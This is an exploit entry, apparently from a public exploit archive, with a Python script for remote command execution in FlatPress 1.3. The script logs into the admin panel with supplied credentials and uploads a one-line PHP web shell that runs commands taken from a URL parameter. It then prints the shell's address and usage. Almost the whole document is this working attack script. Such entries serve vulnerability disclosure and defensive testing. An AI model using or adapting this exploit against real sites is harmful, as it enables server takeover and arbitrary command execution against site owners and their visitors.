FlatPress v1.3 - Remote Command Execution

# Exploit Title: FlatPress v1.3 - Remote Command Execution
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 19.04.2024
# Vendor Homepage: https://www.flatpress.org
# Software Link: https://github.com/flatpressblog/flatpress/archive/1.3.zip
# Tested Version: 1.3 (latest)
# Tested on: MacOS

import requests
import time
import random
import string

def random_string(length=5):
    """Rastgele bir string oluşturur."""
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def login_and_upload(base_url, username, password):
    filename = random_string() + ".php"
    login_url = f"http://{base_url}/login.php"
    upload_url = f"http://{base_url}/admin.php?p=uploader&action=default"

    with requests.Session() as session:
        # Exploiting
        print("Exploiting...")
        time.sleep(1)

        # Giriş yapma denemesi
        login_data = {
        'user': username,
        'pass': password,
        'submit': 'Login'
        }
        print("Logging in...")
        response = session.post(login_url, data=login_data)
        time.sleep(1)

        if "Logout" in response.text:
            print("Login Successful!")
        else:
            print("Login Failed!")
            print(response.text)
            return

        # Dosya yükleme denemesi
        print("Shell uploading...")
        time.sleep(1)

        # Form verileri ve dosyalar
        files = {
        'upload[]': (filename, '<?=`$_GET[0]`?>', 'text/php'),
        }
        form_data = {
        '_wpnonce': '9e0ed04260',
        '_wp_http_referer': '/admin.php?p=uploader',
        'upload': 'Upload'
        }

        response = session.post(upload_url, files=files, data=form_data)

        if "File(s) uploaded" in response.text or "Upload" in response.text:
            shell_url = f"http://{base_url}/fp-content/attachs/{filename}"
            print(f"Your Shell is Ready: {shell_url}")
            time.sleep(1)
            print(f"Shell Usage: {shell_url}?0=command")
        else:
            print("Exploit Failed!")
            print(response.status_code, response.text)

# Örnek kullanım: python script.py siteadi.com username password
if __name__ == "__main__":
    import sys
    if len(sys.argv) != 4:
        print("Usage: script.py <base_url> <username> <password>")
    else:
        base_url, username, password = sys.argv[1:]
        login_and_upload(base_url, username, password)